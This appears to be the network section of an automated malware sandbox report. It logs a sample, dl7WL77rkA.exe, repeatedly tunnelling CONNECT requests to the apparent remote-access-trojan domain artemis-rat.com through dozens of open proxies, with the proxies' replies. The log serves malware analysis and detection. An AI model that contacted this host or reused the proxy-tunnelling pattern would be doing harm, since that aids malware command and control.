Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.278076887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.905004978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1949	192.168.2.5	55179	64.227.108.25	31908	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.288475990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1950	192.168.2.5	55364	104.18.103.125	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.288477898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.446789026 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1951	192.168.2.5	55274	38.162.21.20	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.289443016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.699903965 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1952	192.168.2.5	55344	12.186.205.122	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.289865017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1953	192.168.2.5	55025	51.75.125.208	27029	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.289923906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1954	192.168.2.5	55382	202.159.30.129	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.290072918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1955	192.168.2.5	54991	51.15.252.246	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.290204048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.311366081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.396049023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.400059938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1956	192.168.2.5	55330	38.162.1.142	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.290564060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.724111080 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1957	192.168.2.5	55230	103.213.97.74	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.290607929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.605576992 CET	334	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 02:30:47 GMT Content-Type: text/html Content-Length: 204 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1958	192.168.2.5	55220	103.166.39.17	3629	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.290750027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1959	192.168.2.5	55357	198.12.255.193	48572	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.290765047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1960	192.168.2.5	55265	54.178.159.199	18080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.290832043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.557030916 CET	503	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Mar 2024 02:30:46 GMT Connection: close Content-Length: 324 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 55 52 4c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid URL</h2><hr><p>HTTP Error 400. The request URL is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1961	192.168.2.5	55258	211.222.252.187	8197	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.294595003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1962	192.168.2.5	55281	13.40.239.130	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.296787024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.587786913 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1963	192.168.2.5	55232	123.30.154.171	7777	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.300721884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.666925907 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:47 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1964	192.168.2.5	55413	202.159.30.129	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.300721884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1965	192.168.2.5	55257	185.132.242.212	8083	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.304250002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1966	192.168.2.5	55414	202.159.30.129	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.304627895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1967	192.168.2.5	55416	202.159.30.129	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.308069944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1968	192.168.2.5	55419	14.163.45.72	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.314160109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1969	192.168.2.5	55423	14.163.45.72	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.316241980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1970	192.168.2.5	55425	14.163.45.72	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.317102909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1971	192.168.2.5	55426	93.190.24.119	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.317184925 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1972	192.168.2.5	55428	14.163.45.72	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.318222046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1973	192.168.2.5	55427	93.190.24.119	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.318222046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1974	192.168.2.5	55429	93.190.24.119	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.319251060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1975	192.168.2.5	55430	93.190.24.119	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.320334911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1976	192.168.2.5	55135	51.79.87.144	8533	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.340404034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.905214071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.595448017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.092767954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.889461040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.592714071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.405179977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.904928923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1977	192.168.2.5	55293	152.228.140.225	51783	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.340405941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.092780113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.208009958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.405150890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.405215025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.498951912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.595184088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1978	192.168.2.5	55223	116.199.168.1	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.342180014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1979	192.168.2.5	55325	61.129.2.212	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.400834084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
